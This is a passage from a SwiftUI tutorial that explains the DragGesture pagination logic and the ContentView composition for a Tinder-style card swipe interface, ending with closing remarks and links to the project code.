self.index += 1
}
if value.predictedEndTranslation.width > geometry.size.width / 2, self.index > 0 {
self.index -= 1
}
withAnimation { self.offset = -(geometry.size.width + self.spacing) * CGFloat(self.index) }
})
)
}
}
}
```
Here we have used a few new interesting SwiftUI concepts:
* *@ State* — A persistent value of a given type, through which a view reads and monitors the value, which means that whenever this property will change, the view will be reloaded to adjust to the given state update. You can check more about State [here](https://developer.apple.com/documentation/swiftui/state).
* *DragGesture* — this object will be used to recognize every swipe that user makes on screen. You can read more about this here: [developer.apple.com/documentation/swiftui/draggesture](https://developer.apple.com/documentation/swiftui/draggesture)
* *@ State private var offset: CGFloat = 0* — this property will be used to define the current scroll view offset when users swipe over the screen
* *@ State private var index = 0* — this property defines which user view is currently on the screen
* *ScrollView* — horizontal scroll view without indicators, that will be a container for our user view
* *HStack* — horizontal stack view which contains all user views
* *content.offset(self.offset)* — it is creating a connection between the offset state and the scroll view content offset. This means that whenever the offset property will change, the scroll view offset will also be updated
We are enumerating over the existing users by creating a *UserView* for each element:
* *.frame* — here we are defining the scroll view frame that should fit the screen's width, and should be aligned properly to its container
* *.gesture* — here we are adding our *DragGesture* object
*DragGesture* is a little complicated, but nevertheless, it adds all the pagination logic in just a few lines of code. Let's break down *DragGesture*:
* *onChanged()* — this block is invoke whenever user starts and is in time of dragning gesture, here we are calculating current user view offset that follows users finger
* *onEnded()* — here we are informed when drag gesture ends, here we need to calculate if user would like to swipe this view (left or right), or maybe this gesture was marked, and user would like to stay on this screen
* *withAnimation* — this closure is invoked with animation, and allows to change offset smothly
ContentView
-----------
```
struct ContentView: View {
var body: some View {
VStack {
NavigationView()
.padding(.bottom)
SwipeView()
.padding(.bottom)
BottomBarView()
}
.padding()
}
}
```
Our content view is extremely simple at this point — it composes all created the views we previously created, inside a vertical stack (*VStack*). For the *NavigationView* and *SwipeView* we have added some default padding on the bottom, and the whole *VStack* has paddings added to all edges.
That's it. Done. This is how our app looks like now:
Final thoughts
--------------
As we can see SwiftUI is very powerful tool, it gives us an easy way to define and manipulate UI in a short declarative code. [React Native](https://www.instamobile.io/mobile-templates/react-native-templates-free/) developers would recognize this declarative paradigm right away.
But remember: SwiftUI is still under development and can be extremely unstable for now. If you would like to check all code base for this project you can find it on [Github](https://github.com/mrcflorian/swiftUI-tutorials).
As of 2022, Flutter has picked up a lot of steam, so if you are interested in how to do Tinder cards in Flutter, you can checkout these [Flutter templates](https://instaflutter.com/).
If you have any thoughts or questions about SwiftUI, feel free to share them in comments. Also, if you've enjoyed this article, please share it with your community to help us spread the word! | https://habr.com/ru/post/476494/ | null | en | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.